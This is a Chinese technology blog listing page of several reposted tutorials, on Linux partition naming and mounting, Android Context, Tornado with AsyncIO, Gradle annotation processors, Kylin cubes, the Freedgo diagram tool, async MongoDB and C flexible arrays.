...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 对hda1的解释: hd:IDE硬盘。如果是SCSI硬盘,则为sd,这个只能记住,没有更好的办法。 a:: 第一块硬盘。如果是第二块硬盘,则为b,依此类推c,d…… 1: 主分区。其中1,2,3,4都是主分区,从第5开始为逻辑分区,最大到16 磁盘容量与主分区、扩展分区、逻辑分区的关系: 硬盘的容量 = 主分区的容量 + 扩展分区的容量 扩展分区的容量 = 各个逻辑分区的容量之和 -------------------------------------- cd /mnt mkdir winc mkdir wind mkdir wine mount /dev/hda1 /mnt/winc mount /dev/hda5 /mnt/wind mount /dev/hda6 /mnt/wine 最多有4个主分区,所以逻辑分区从5开始 ---------------------------------------- 在linux的分区表示中,硬盘为hd,第一块硬盘为hda,第二块为hdb.一块硬盘最多可以分成四个主分区,dos主分区,dos扩展分区,linux根分区和linux交换分区都属于主分区,4个主分区分别用数字表示,如果是第一块硬盘,就 hda1,hda2,hda3和hda4. 在扩展分区上还可以分逻辑分区,标号从5往后依次排列.在windows中c盘为dos主分区,是hda1, d盘一般是dos扩展分区上的第一个逻辑分区, 是hda5, e为hda6, f为hda7等等. 在linux下可以通过mount命令挂栽windows分区到一个文件夹(这个文件夹称作挂载点),然后你可以通过这个文件夹访问windows分区. mount -t vfat /dev/hda1 /mnt/winc -o codepage=936 iocharset=936 顺便说一下挂载光盘和iso镜像和挂载U盘挂载U盘的命令: 挂载光盘和iso镜像 mount -t iso 9660 -o loop 名称.iso 挂载点 挂载U盘 mount -t vfat /dev/sda1 /mnt/usb 在網上碰到一耳光相關的問題,睇下啦: 在Linux中,分区为主分区、扩展分区和逻辑分区,使用fdisk –l命令获得分区信息如下所示: Disk /dev/hda:240 heads, 63 sectors, 140 cylinders Units=cylinders of 15120 512 bites Device Boot Start End Blocks Id System /dev/hda 1 286 2162128+ c Win95 FAT32(LBA) /dev/hda2 288 1960 12496680 5 Extended /dev/hda8 984 1816 6297448+ 83 Linux /dev/hda9 1817 1940 937408+ 83 Linux 其中,属于扩展分区的是 (5) 。 使用df -T命令获得信息部分如下所示: Filesystem Type 1k Blocks Used Avallable Use% Mounted on /dev/hda6 relserfs 4195632 2015020 2180612 49% / /dev/hda1 vfat 2159992 1854192 305800 86% /windows/c 其中,不属于Linux系统分区的是 (6) 。 答案: (5)/dev/hda2,(6)/dev/hda1 在Linux中对硬盘也有两种表示方法: 第一种方法:IDE接口中的整块硬盘在Linux系统中表示为/dev/hd[a-z],比如/dev/hda,/dev/hdb ... ... 以此类推,有时/dev/hdc可能表示的是CDROM 。这种方法实际表示了硬盘的物理位置,只要硬盘的连接位置不变,标号也不会发生变化。 对于/dev/hda 类似的表示方法,也并不陌生吧;我们在Linux通过fdisk -l 就可以查到硬盘是/dev/hda还是/dev/hdb。 另一种表示方法是:hd[0-n] ,其中n是一个正整数,比如hd0,hd1,hd2 ... ... hdn ;数字从0开始,按照BIOS中发现硬盘的顺序排列,如果机器中只有一块硬盘,无论我们通过fdisk -l 列出的是/dev/hda 还是/dev/hdb ,都是hd0;如果机器中存在两个或两个以上的硬盘,第一个硬盘/dev/hda 另一种方法表示为hd0,第二个硬盘/dev/hdb,另一种表法是hd1 。 现在新的机器,在BIOS 中,在启动盘设置那块,硬盘是有hd0,hd1之类的,这就是硬盘表示方法的一种。 在Linux中,对SATA和SCSI接口的硬盘的表示方法和IDE接口的硬盘相同,只是把hd换成sd;如您的机器中比如有一个硬盘是/dev/hda ,也有一个硬盘是/dev/sda ,那/dev/sda的硬盘应该是sd0; 具体每个分区用(sd[0-n],y)的表示方法和IDE接口中的算法相同,比如/dev/sda1 就是(sd0,0)。 >>>以下来自百度百科 磁盘及分区 设备管理 在 Linux 中,每一个硬件设备都映射到一个系统的文件,对于硬盘、光驱等 IDE 或 SCSI 设备也不例外。 Linux 把各种 IDE 设备分配了一个由 hd 前缀组成的文件;而对于各种 SCSI 设备,则分配了一个由 sd 前缀组成的文件。 例如,第一个 IDE 设备,Linux 就定义为 hda;第二个 IDE 设备就定义为 hdb;下面以此类推。而 SCSI 设备就应该是 sda、sdb、sdc 等。 分区数量 要进行分区就必须针对每一个硬件设备进行操作,这就有可能是一块IDE硬盘或是一块SCSI硬盘。对于每一个硬盘(IDE 或 SCSI)设备,Linux 分配了一个 1 到 16 的序列号码,这就代表了这块硬盘上面的分区号码。 例如,第一个 IDE 硬盘的第一个分区,在 Linux 下面映射的就是 hda1,第二个分区就称作是 hda2。对于 SCSI 硬盘则是 sda1、sdb1 等。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39713578/article/details/111950574。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-26 12:47:34
117
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 1. 最近看的代码中经常看见this,在java中的this第一反应就是当前对象,可以用来引用变量或是方法,一看就很懵B,所以这里通过例子来详细讲下this的用法。 2.例如下面代码 button.setOnClickListener(new OnClickListener() {@Overridepublic void onClick(View v) {Toast.makeText(TextC.this,"什么情况",1000).show();} 通俗讲,this就是指本类,但在上面Toast中直接写this会出错,因为当前本类是OnClickListener类,而不是我们的主类,如activity(或是mainActivity等),而this就是指向当前类OnClickListener。 3.再如:MainActivity中setOnClickListener(this)中的this指代什么? setOnClickListener的参数要求是一个实现了OnClickListener接口的对象实体,它可以是任何类的实例,只要该类实现了OnClickListener。这个问题中,this它就是MainActivity这个对象自己且用this实现了OnClickListener。 4.MainActivity.this是什么意思? 表示的就是MainActivity这个类对象本来,这种写法一般用在内部类里,因为在外部类中直接可以用关键字this表示本类,而内部类中直接写this的话表示的是内部类本身,想表示外部类的话就得加上外部类的类名.this。 5.在android中this使用的小结: this代表本类的一个引用,this.表示调用本类的某个方法,这个时候通常可以省略this;但在内部类中不能省略,否则编译器会认为是内部类的引用,所以要在this前加上类名. .this 表示本类的引用,通常前面的是用本类的名字表示,当然也可以省略,但是如果是在内部类中一定要加上类名,同时注意:this和static不能共存,就是在static修饰的方法中不能用this. 6.android context是什么 ?从SDK中可以知道 Interface to global information about an application environment. This is an abstract class whose implementation is provided by the Android system. It allows access to application-specific resources and classes, as well as up-cal for application-level operations such as launching activities, broadcasting and receiving intents, etc 从上的描述可以知道context和一下三点作用: 它描述的是一个应用程序的环境,即上下文 它类是一个抽象的类,android提供了一个具体的通用实现类contextIml类。 它就像是一个大管家,是一个访问全局信息的接口。通过它我们可以获取应用程度 的资源的类,包括一些应用级的操作,如启动一个activity,发送广播,接受Intent信息。 7.context家族的关系 8.android context源码简析 8.1Context.java:抽象类,提供了一组通用的API public abstract class Context { ... public abstract Object getSystemService(String name); //获得系统级服务 public abstract void startActivity(Intent intent); //通过一个Intent启动Activity public abstract ComponentName startService(Intent service); //启动Service //根据文件名得到SharedPreferences对象 public abstract SharedPreferences getSharedPreferences(String name,int mode); ... } 8.2 Contextlml.java:Context和实现类,但函数的大部分功能都是直接调用其属性的mPackageInfo去完成 / Common implementation of Context API, which provides the base context object for Activity and other application components. / class ContextImpl extends Context{ //所有Application程序公用一个mPackageInfo对象 /package/ ActivityThread.PackageInfo mPackageInfo; @Override public Object getSystemService(String name){ ... else if (ACTIVITY_SERVICE.equals(name)) { return getActivityManager(); } else if (INPUT_METHOD_SERVICE.equals(name)) { return InputMethodManager.getInstance(this); } } @Override public void startActivity(Intent intent) { ... //开始启动一个Activity mMainThread.getInstrumentation().execStartActivity( getOuterContext(), mMainThread.getApplicationThread(), null, null, intent, -1); } } 8.3 ContextWrapper.java:该类只是对Context类的一种包装,该类的构造函数包含了一个真正的Context引用,即ContextIml对象。 public class ContextWrapper extends Context { Context mBase; //该属性指向一个ContextIml实例,一般在创建Application、Service、Activity时赋值 //创建Application、Service、Activity,会调用该方法给mBase属性赋值 protected void attachBaseContext(Context base) { if (mBase != null) { throw new IllegalStateException("Base context already set"); } mBase = base; } @Override public void startActivity(Intent intent) { mBase.startActivity(intent); //调用mBase实例方法 } } 8.4ContextThemeWrapper.java:该类内部包含了主题(Theme)相关的接口,即android:theme属性指定的。只有Activity需要主题,Service不需要主题,所以Service直接继承于ContextWrapper类。 public class ContextThemeWrapper extends ContextWrapper { //该属性指向一个ContextIml实例,一般在创建Application、Service、Activity时赋值 private Context mBase; //mBase赋值方式同样有一下两种 public ContextThemeWrapper(Context base, int themeres) { super(base); mBase = base; mThemeResource = themeres; } @Override protected void attachBaseContext(Context newBase) { super.attachBaseContext(newBase); mBase = newBase; } } 9.Activity类 、Service类 、Application类本质上都是Context子类,所以应用程序App共有的Context数目公式为: 总Context实例个数 = Service个数 + Activity个数 + 1(Application对应的Context实例) 10.AR/VR研究的朋友可以加入下面的群或是关注下面的微信公众号 本篇文章为转载内容。原文链接:https://blog.csdn.net/yywan1314520/article/details/51953172。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-27 17:37:26
94
转载
Tornado
...高并发、高性能Web服务开发领域,Tornado以其异步非阻塞I/O模型赢得了广泛的认可。然而,你知道吗,现在Python世界里的那个AsyncIO模块可是越来越牛了,大家都在热议怎么把它和Tornado更好地搭配起来,榨干它们的性能潜力,这已经变成了开发者们茶余饭后、热烈讨论的重点话题。这篇文儿啊,咱们打算用些实实在在的代码实例,再加上抽丝剥茧般的深度解读,手把手教你如何借力AsyncIO这把利器,让你的Tornado应用跑得飞起,优化效果看得见摸得着。 1. Tornado与AsyncIO 相识相知 Tornado作为一款Python Web框架,其核心特性是基于事件驱动的异步编程模型,能够高效处理大量并发连接,特别适合构建实时Web服务。AsyncIO这个家伙,其实是Python标准库里藏着的一个超级实用的异步I/O工具箱。它就像是个厉害的角色,拥有着强大的异步任务协调本领,让咱们平时用的Python能够轻松玩转异步编程,不再受限于同步模式,变得更加灵活高效。 两者虽各有特色,但并非竞争关系,而是可以紧密结合,取长补短,共同服务于对性能有极高要求的应用场景。 2. AsyncIO在Tornado中的运用 示例1:在Tornado中直接使用AsyncIO的async/await语法编写异步处理逻辑: python import asyncio import tornado.ioloop import tornado.web class AsyncHandler(tornado.web.RequestHandler): async def get(self): 使用AsyncIO执行耗时操作 await asyncio.sleep(1) self.write("Hello, Async Tornado!") def make_app(): return tornado.web.Application([ (r"/", AsyncHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) tornado.ioloop.IOLoop.current().start() 在这段代码中,我们创建了一个异步处理器AsyncHandler,其中的get方法使用了AsyncIO的asyncio.sleep函数模拟耗时操作。虽然Tornado自身本来就有异步功能,但是在最新版的Tornado 6.0及以上版本里,咱们能够超级顺滑地把AsyncIO的异步编程语法融入进去,这样一来,不仅让代码读起来更加通俗易懂,而且极大地简化了程序结构,变得更加清爽利落。 3. 利用AsyncIO优化Tornado网络I/O 虽然Tornado内置了异步HTTP客户端,但在某些复杂场景下,利用AsyncIO的aiohttp库或其他第三方异步库可能会带来额外的性能提升。 示例2:使用aiohttp替代Tornado HTTPClient实现异步HTTP请求: python import aiohttp import tornado.web import asyncio class AsyncHttpHandler(tornado.web.RequestHandler): async def get(self): async with aiohttp.ClientSession() as session: async with session.get('https://api.example.com/data') as response: data = await response.json() self.write(data) def make_app(): return tornado.web.Application([ (r"/fetch_data", AsyncHttpHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) loop = asyncio.get_event_loop() tornado.platform.asyncio.AsyncIOMainLoop().install() tornado.ioloop.IOLoop.current().start() 这里我们在Tornado中引入了aiohttp库来发起异步HTTP请求。注意,为了整合AsyncIO到Tornado事件循环,我们需要安装并启动tornado.platform.asyncio.AsyncIOMainLoop。 4. 思考与讨论 结合AsyncIO优化Tornado性能的过程中,我们不仅获得了更丰富、更灵活的异步编程工具箱,而且能更好地利用操作系统级别的异步I/O机制,从而提高资源利用率和系统吞吐量。当然,具体采用何种方式优化取决于实际应用场景和需求。 总的来说,Tornado与AsyncIO的联姻,无疑为Python高性能Web服务的开发注入了新的活力。在未来的发展旅程上,我们热切期盼能看到更多新鲜、酷炫的创新和突破,让Python异步编程变得更加给力,用起来更顺手,实力也更强大。就像是给它插上翅膀,飞得更高更快,让编程小伙伴们都能轻松愉快地驾驭这门技术,享受前所未有的高效与便捷。
2023-10-30 22:07:28
140
烟雨江南
Gradle
.... 探索解决方案 从配置到实践 2.1 检查依赖 最直接的方法是检查你的项目依赖。确保你把所有必需的库都加进去了,尤其是那些带有注解处理器的库。举个例子,如果你正在使用Lombok,那么你需要在你的build.gradle文件中添加对应的依赖: groovy dependencies { compileOnly 'org.projectlombok:lombok:1.18.24' annotationProcessor 'org.projectlombok:lombok:1.18.24' } 这里的关键在于同时添加compileOnly和annotationProcessor依赖,这样既可以避免在运行时出现类冲突,又能确保编译时能够找到所需的处理器。 2.2 配置Gradle插件 有时候,问题可能出在Gradle插件的配置上。确保你使用的是最新版本的Gradle插件,并且根据需要调整插件配置。例如,如果你使用的是Android插件,确保你的build.gradle文件中有类似这样的配置: groovy android { ... compileOptions { annotationProcessorOptions.includeCompileClasspath = true } } 这条配置确保了编译类路径中的注解处理器可以被正确地发现和应用。 2.3 手动指定处理器位置 如果上述方法都不能解决问题,你还可以尝试手动指定处理器的位置。这可以通过修改build.gradle文件来实现。例如: groovy tasks.withType(JavaCompile) { options.compilerArgs << "-processorpath" << configurations.annotationProcessorPath.asPath } 这段代码告诉编译器去特定路径寻找处理器,而不是默认路径。这样做的好处是你可以在不同环境中灵活地控制处理器的位置。 3. 实战演练 从错误走向成功 在这个过程中,我遇到了不少挑战。一开始,我还以为这只是个简单的依赖问题,结果越挖越深,才发现事情比我想象的要复杂多了。我渐渐明白,光是加个依赖可不够,还得琢磨插件版本啊、编译选项这些玩意儿,配置这事儿真没那么简单。这个过程让我深刻体会到了软件开发中的细节决定成败的道理。 经过一番探索后,我终于找到了解决问题的关键所在——正确配置注解处理器的路径。这样做不仅把眼前的问题搞定了,还让我以后遇到类似情况时心里有谱,知道该怎么应对了。 4. 总结与展望 总之,“Could not find 'META-INF/services/javax.annotation.processing.Processor'”是一个常见但又容易让人困惑的问题。读完这篇文章,我们知道了怎么通过检查依赖、配置Gradle插件,还有手动指定处理器路径等方法来搞定这个难题。虽然过程中遇到了不少挑战,但正是这些问题推动着我们不断学习和成长。 未来,我希望继续深入研究更多高级主题,比如如何优化构建流程、提升构建效率等。我觉得每次努力试一试,都能让我们变得更牛,也让咱们的项目变得更强更溜!希望我的分享能帮助你在面对类似问题时不再感到迷茫,而是充满信心地去解决问题! --- 希望这篇文章除了提供解决问题的技术指导外,还能让你感受到作为开发者探索未知的乐趣。编程之路虽长,但每一步都值得珍惜。
2024-11-29 16:31:24
81
月影清风
Kylin
...择合适的度量字段,并配置恰当的聚合函数。例如,如果主要关注销售额的总和和平均值,可以这样配置: java // 示例:定义度量及其聚合函数 MeasureDesc measureSales = new MeasureDesc(); measureSales.setName("sales_amount"); measureSales.setFunctionClass(AggregateFunction.SUM); cubeDesc.addMeasure(measureSales); MeasureDesc avgSales = new MeasureDesc(); avgSales.setName("avg_sales"); avgSales.setFunctionClass(AggregateFunction.AVG); cubeDesc.addMeasure(avgSales); 2.3 切片设计与分区策略 合理的切片划分和分区策略有助于分散计算压力,加快Cube构建和查询响应速度。例如,可以根据时间维度进行分区: java // 示例:按时间分区 PartitionDesc partitionDesc = new PartitionDesc(); partitionDesc.setPartitionDateColumn("cal_dt"); partitionDesc.setPartitionDateFormat("yyyyMM"); cubeDesc.setPartition(partitionDesc); 3. 实践中的调优策略与技巧 这部分我们将围绕实际案例,探讨如何针对具体场景调整Cube设计,包括但不限于动态调整Cube粒度、使用联合维度、考虑数据倾斜问题等。这些策略将依据实际业务需求、数据分布特性以及硬件资源状况灵活运用。 --- 请注意,以上代码仅为示意性的伪代码,真实操作中需参考Apache Kylin官方文档进行详细配置。同时呢,在写整篇文章的时候,我会在每个小节都给你们添上更丰富的细节描述和讨论,就像画画时的细腻笔触一样。而且,我会配上更多的代码实例,就像是烹饪时撒上的调料,让你们能更直观、更深入地明白怎么去优化Kylin Cube的设计,从而把查询性能提得更高。这样一来,保证你们读起来既过瘾又容易消化吸收!
2023-05-22 18:58:46
45
青山绿水
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 介绍一下通过在线免费制图网站 Freedgo Design绘制各类图形的方法。 什么是 Freedgo Design? Freedgo Design 是一in款在线绘制专业图形的网站。Freedgo Design可以绘制各种类型的图形,针对业务逻辑的流程图,软件设计ER模板,工作流,各种云平台的系统部署架构图包括阿里云、AWS云、腾讯云、Oracle、Asure云、IBM云平台等。 使用 用户通过浏览器访问网址:https://www.freedgo.com 点击在线制图,进入图形设计工具页面即可在线制图. 选择制图不同类型的图形,请点击页面下面 + 更多图形,选择相应的制图类型。如下图: 可以绘制哪些图表UML UML统一建模语言(英语:Unified Modeling Language,缩写 UML),是一种开放的方法,用于说明、可视化、构建和编写一个正在开发的、面向对象的、软件密集系统的制品的开放方法。UML展现了一系列最佳工程实践,这些最佳实践在对大规模,复杂系统进行建模方面,特别是在软件架构层次已经被验证有效。 在UML系统开发中有三个主要的模型: 功能模型:从用户的角度展示系统的功能,包括用例图。 对象模型:采用对象,属性,操作,关联等概念展示系统的结构和基础,包括类别图、对象图。 动态模型:展现系统的内部行为。包括序列图,活动图,状态图。 通过Freedgo Desgin 可以绘制各类UML图表,包括 UML 用例图 UML 类图 UML 时序图 UML 活动图 UML 泳道图 点击页面下面 + 更多图形,选择 商务/(业务建模) -> UML, 可以设计各类UML图表, 参见下图: 数据库ER模型 ER模型是在数据库设计中常用的数据建模工具,通常是用来描述实体的信息及实体与实体之前的关系。 在Freedgo Design提供了对ER模型的支持: 通过图标库 选择ER模型绘制数据库ER模型 通过菜单 调整图形 -> 插入 -> SQL... 导入sql DDL脚本创建数据库ER模型 BPMN模型设计 BPMN是业务流程建模与标记,是用于构建业务流程图的一种建模语言标准。 可以通过图标库 选择BPMN绘制BPMN模型 Archimate设计 Archimate是一种整合多种架构的一种可视化业务分析模型语言,属于架构描述语言(ADL),它从业务、应用和技术三个层次(Layer),物件、行为和主体三个方面(Aspect)和产品、组织、流程、资讯、资料、应用、技术领域(Domain)来进行描述。 可以通过图标库 选择BPMN绘制BPMN模型 EPC设计 EPC是用于说明业务流程工作流,是进行业务工程设计的 SAP R/3 建模概念的重要组件。 可以通过图标库 选择EPC绘制EPC模型 流程图 流程图是流经一个系统的信息流、观点流或部件流的图形代表。在企业中,流程图主要用来说明某一过程。这种过程既可以是生产线上的工艺流程,也可以是完成一项任务必需的管理过程。 流程图是揭示和掌握封闭系统运动状况的有效方式。作为诊断工具,它能够辅助决策制定,让管理者清楚地知道,问题可能出在什么地方,从而确定出可供选择的行动方案。 流程图有时也称作输入-输出图。该图直观地描述一个工作过程的具体步骤。流程图对准确了解事情是如何进行的,以及决定应如何改进过程极有帮助。这一方法可以用于整个企业,以便直观地跟踪和图解企业的运作方式。 流程图使用一些标准符号代表某些类型的动作,如决策用菱形框表示,具体活动用方框表示。但比这些符号规定更重要的,是必须清楚地描述工作过程的顺序。流程图也可用于设计改进工作过程,具体做法是先画出事情应该怎么做,再将其与实际情况进行比较。 可以通过图标库 选择流程图绘制 UX设计 Freedgo Design提供一系列UX设计的制作,可以实现IOS,安卓,以及一系列页面设计的效果制图,下面简单说明:IOS android material Bootstrap 手机应用 网站应用 平面图 Freedgo Design可以绘制平面图包括建筑平面表,房屋平面表,房屋效果图设计,在图例中提供了家庭、办公、厨房、卫生间等等图例,具体可以登录在线制图网站,查看 图例 网络架构图 Freedgo Design 可以绘制各种网络拓扑图,和机架图。 云架构 Freedgo Design 提供了各类云架构的系统架构图、系统部署图,包括AWS架构,阿里云架构、腾讯云架构、IBM、ORACLE、Azure和Google云等等。AWS 阿里云架构 腾讯云架构 IBM架构 ORACLE架构 Azure架构 GOOGLE架构 工程 Freedgo Design 提供在线基本电气图设计、在线电气逻辑图设计、在线电路原理图设计、在线接线图设计 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39605997/article/details/109976987。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-03 21:03:06
106
转载
Mongo
...连接到MongoDB服务器。这个过程其实就像这样,连接这一步呢,是同步进行的,就相当于大家一起整齐划一地行动。不过,接下来的查询操作嘛,通常会选择异步的方式来进行,这样做就像是让各个部分灵活自主地去干活,不耽误彼此的时间,从而大大提升整体的工作效率! javascript const MongoClient = require('mongodb').MongoClient; const url = 'mongodb://localhost:27017'; const dbName = 'test'; MongoClient.connect(url, {useNewUrlParser: true}, (err, client) => { if (err) throw err; console.log("Connected to MongoDB"); const db = client.db(dbName); // ...进行数据库操作 client.close(); // 关闭连接 }); 2.2 异步与同步的区别 在上述代码中,MongoClient.connect函数会立即返回,即使连接尚未建立。这是因为它采用了异步模式,这样可以让你的代码继续执行,而不会阻塞。一旦连接成功,回调函数会被调用。这就是异步编程的魅力,它让我们的应用更加响应式。 三、异步写入 提升性能的关键 3.1 写入操作的异步性 当我们向MongoDB写入数据时,通常也采用异步方式,因为这可以避免阻塞主线程,尤其是在高并发环境下。例如,使用insertOne方法: javascript db.collection('users').insertOne({name: 'John Doe'}, (err, result) => { if (err) console.error(err); console.log(Inserted document with _id: ${result.insertedId}); }); 3.2 为什么要异步写入? 异步写入的优势在于,如果数据库正在处理其他请求,当前请求不会被阻塞,而是立即返回。这样,应用程序可以继续处理其他任务,提高了整体的吞吐量。 四、异步操作的处理与错误处理 4.1 错误处理 在异步操作中,错误通常通过回调函数传递。我们需要确保正确处理这些可能发生的异常,以便于应用程序的健壮性。 javascript db.collection('users').insertOne({name: 'Jane Doe'}, (err, result) => { if (err) { console.error('Error inserting document:', err); } else { console.log(Inserted document with _id: ${result.insertedId}); } }); 4.2 回调地狱与Promise/Async/Await 为了避免回调地狱,我们可以利用Promise、async/await等现代JavaScript特性来更优雅地处理异步操作。 javascript async function insertUser(user) { try { const result = await db.collection('users').insertOne(user); console.log(Inserted document with _id: ${result.insertedId}); } catch (error) { console.error('Error inserting document:', error); } } insertUser({name: 'Alice Smith'}); 五、结论 MongoDB的异步特性使得数据库操作更加高效,尤其在处理大规模数据和高并发场景下。你知道吗,只要咱们掌握了异步编程的窍门,灵活运用回调、Promise或者那个超好用的async/await,就能把MongoDB的大招完全发挥出来。这样一来,咱的应用程序不仅速度嗖嗖地提升,用户体验也能蹭蹭上涨,保证让用户用得爽歪歪!同时呢,异步操作这个小东西也悄悄告诉我们,在编程的过程中,咱可千万不能忽视代码的维护性和扩展性,毕竟业务需求这玩意儿是说变就变的,咱们得随时做好准备,让代码灵活适应这些变化。
2024-03-13 11:19:09
262
寂静森林_t
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 1 引言 定长数组包 在平时的开发中,缓冲区数据收发时,如果采用缓冲区定长包,假定大小是 1k,MAX_LENGTH 为 1024。结构体如下: // 定长缓冲区struct max_buffer{int len;char data[MAX_LENGTH];}; 数据结构的大小 >= sizeof(int) + sizeof(char) MAX_LENGTH为了防止数据溢出的情况,data 的长度一般会设置得足够大,但也正是因为这样,才会导致数组的冗余。 假如发送 512 字节的数据, 就会浪费 512 个字节的空间, 平时通信时,大多数是心跳包,大小远远小于 1024,除了浪费空间还消耗很多流量。 内存申请: if ((m_buffer = (struct max_buffer )malloc(sizeof(struct max_buffer))) != NULL){m_buffer->len = CUR_LENGTH;memcpy(m_buffer->data, "max_buffer test", CUR_LENGTH);printf("%d, %s\n", m_buffer->len, m_buffer->data);} 内存释放: free(m_buffer);m_buffer = NULL; 指针数据包 为了避免空间上的浪费,我们可以将上面的长度为 MAX_LENGTH 的定长数组换为指针, 每次使用时动态的开辟 CUR_LENGTH 大小的空间。数据包结构体定义: struct point_buffer{int len;char data;}; 数据结构大小 >= sizeof(int) + sizeof(char )但在内存分配时,需要两步进行: 需为结构体分配一块内存空间; 为结构体中的成员变量分配内存空间; 内存申请: if ((p_buffer = (struct point_buffer )malloc(sizeof(struct point_buffer))) != NULL){p_buffer->len = CUR_LENGTH;if ((p_buffer->data = (char )malloc(sizeof(char) CUR_LENGTH)) != NULL){memcpy(p_buffer->data, "point_buffer test", CUR_LENGTH);printf("%d, %s\n", p_buffer->len, p_buffer->data);} } 内存释放: free(p_buffer->data);free(p_buffer);p_buffer = NULL; 虽然这样能够节约内存,但是两次分配的内存是不连续的, 需要分别对其进行管理,导致的问题就是需要对结构体和数据分别申请和释放内存,这样对于程序员来说无疑是一个灾难,因为这样很容易导致遗忘释放内存造成内存泄露。 有没有更好的方法呢?那就是今天的主题柔性数组。 2 柔性数组 什么是柔性数组? 柔性数组成员(flexible array member)也叫伸缩性数组成员,这种代码结构产生于对动态结构体的需求。在日常的编程中,有时候需要在结构体中存放一个长度动态的字符串,鉴于这种代码结构所产生的重要作用,C99 甚至把它收入了标准中: As a special case, the last element of a structure with more than one named member may have an incomplete array type; this is called a flexible array member. 柔性数组是 C99 标准引入的特性,所以当你的编译器提示不支持的语法时,请检查你是否开启了 C99 选项或更高的版本支持。 C99 标准的定义如下: struct test {short len; // 必须至少有一个其它成员char arr[]; // 柔性数组必须是结构体最后一个成员(也可是其它类型,如:int、double、...)}; 柔性数组成员必须定义在结构体里面且为最后元素; 结构体中不能单独只有柔性数组成员; 柔性数组不占内存。 在一个结构体的最后,申明一个长度为空的数组,就可以使得这个结构体是可变长的。对于编译器来说,此时长度为 0 的数组并不占用空间,因为数组名本身不占空间,它只是一个偏移量,数组名这个符号本身代表了一个不可修改的地址常量, 但对于这个数组的大小,我们可以进行动态分配,对于编译器而言,数组名仅仅是一个符号,它不会占用任何空间,它在结构体中,只是代表了一个偏移量,代表一个不可修改的地址常量! 对于柔性数组的这个特点,很容易构造出变成结构体,如缓冲区,数据包等等, 其实柔性数组成员在实现跳跃表时有它特别的用法,在Redis的SDS数据结构中和跳跃表的实现上,也使用柔性数组成员。它的主要用途是为了满足需要变长度的结构体,为了解决使用数组时内存的冗余和数组的越界问题。 柔性数组解决引言的例子 //柔性数组struct soft_buffer{int len;char data[0];}; 数据结构大小 = sizeof(struct soft_buffer) = sizeof(int),这样的变长数组常用于网络通信中构造不定长数据包, 不会浪费空间浪费网络流量。 申请内存: if ((softbuffer = (struct soft_buffer )malloc(sizeof(struct soft_buffer) + sizeof(char) CUR_LENGTH)) != NULL){softbuffer->len = CUR_LENGTH;memcpy(softbuffer->data, "softbuffer test", CUR_LENGTH);printf("%d, %s\n", softbuffer->len, softbuffer->data);} 释放内存: free(softbuffer);softbuffer = NULL; 对比使用指针和柔性数组会发现,使用柔性数组的优点: 由于结构体使用指针地址不连续(两次 malloc),柔性数组地址连续,只需要一次 malloc,同样释放前者需要两次,后者可以一起释放。 在数据拷贝时,结构体使用指针时,必须拷贝它指向的内存,内存不连续会存在问题,柔性数组可以直接拷贝。 减少内存碎片,由于结构体的柔性数组和结构体成员的地址是连续的,即可一同申请内存,因此更大程度地避免了内存碎片。另外由于该成员本身不占结构体空间,因此,整体而言,比普通的数组成员占用空间要会稍微小点。 缺点:对结构体格式有要求,必要放在最后,不是唯一成员。 3 总结 在日常编程中,有时需要在结构体中存放一个长度是动态的字符串(也可能是其他数据类型),可以使用柔性数组,柔性数组是一种能够巧妙地解决数组内存的冗余和数组的越界问题一种方法。非常值得大家学习和借鉴。 推荐阅读: 专辑|Linux文章汇总 专辑|程序人生 专辑|C语言 我的知识小密圈 本篇文章为转载内容。原文链接:https://linus.blog.csdn.net/article/details/112645639。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-21 13:56:11
502
转载
转载文章
